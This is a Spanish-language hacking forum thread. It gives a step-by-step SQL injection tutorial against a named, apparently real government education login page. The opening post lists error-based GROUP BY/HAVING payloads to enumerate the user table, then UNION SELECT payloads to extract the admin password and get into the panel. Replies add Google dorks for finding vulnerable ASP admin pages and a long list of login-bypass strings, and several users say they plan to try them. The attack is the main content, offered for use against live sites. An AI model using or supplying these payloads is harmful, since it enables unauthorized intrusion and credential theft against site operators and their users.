Underc0de - La Casa de los Informáticos

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Stuxnet en Marzo 10, 2013, 11:13:28 PM

Título: Inyección SQL a Login ASP
Publicado por: Stuxnet en Marzo 10, 2013, 11:13:28 PM
(http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif)

Bien comencemos, para este tutorial utizare la página de http://informaticaeducacion.nl.gob.mx/saci/login.asp

Este tutorial es con fines educativos y no me hago responsable del uso que le den.

En el en campo "Clave de Acceso" y "Password" del login escribimos:

' having 1= 1--

(http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png)

Al hacerlo nos dara el seguiente error:

(http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png)

Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave having 1 = 1--

Hacemos la inyección y el siguiente error sera así:

(http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Hacemos la inyección y el siguiente error sera así:

(http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:

(http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png)

Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.

(http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png)

Nuestra siguiente inyección sera de esta forma:

' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--

Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:

' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--

(http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png)

Curiosamente al hacer la inyección de esta forma tenemos el acceso:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--

(http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png)

La inyección para que les arroje la password es:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--

(http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png)
Título: Re:Inyección SQL a Login ASP
Publicado por: Hu0r en Marzo 11, 2013, 02:18:20 AM
Buen post. Traté con una web y al momento de usar

' union select 1,1,1,1,min(xxxx) from yyyyy where xxxx > 'a'--

Al poner ese código (con los respectivos datos), no puedo acceder (el número de columnas es correcto, o sino sale un error). Simplemente carga de nuevo el login. No me da el error que aparece ahí. También probé en cambiar el min(xxxx) a todas las posiciones de los 1's y nada. ¿Alguna idea?
Título: Re:Inyección SQL a Login ASP
Publicado por: s0ul0fh4ck en Marzo 11, 2013, 06:34:40 PM
jojo! gracias por compartir.

ahora toca probar.!
Título: Re:Inyección SQL a Login ASP
Publicado por: zoro248 en Marzo 11, 2013, 09:36:29 PM
Execelente tuto, desde ya a ponerlo en practica xD
Título: Re:Inyección SQL a Login ASP
Publicado por: k43l en Marzo 12, 2013, 05:01:45 PM
existen otras consultas sql que le puedes meter a los campos de texto para bypassear y en este caso se esta descubriendo solamente los campos de una sola tabla y no de varias como mencionas, la tabla seria "Usuario", queria hacer esa aclaración
salu2
Título: Re:Inyección SQL a Login ASP
Publicado por: [3V1L] en Marzo 17, 2013, 02:44:21 AM
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1
Título: Re:Inyección SQL a Login ASP
Publicado por: OverHoax en Marzo 30, 2013, 04:23:39 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1

Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google

inurl :admin login.asp
inurl :admin.asp

Tambien Funciona

username: admin
password: 'or''='

S2
Título: Re:Inyección SQL a Login ASP
Publicado por: Ns4 en Marzo 30, 2013, 06:19:15 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Prueba con esto :
                           user:'1 or '1'='1
                            password:'1 or '1'='1

Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google

inurl :admin login.asp
inurl :admin.asp

Tambien Funciona

username: admin
password: 'or''='

S2


Citaradmin'--
' OR ''='
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1

Saludos.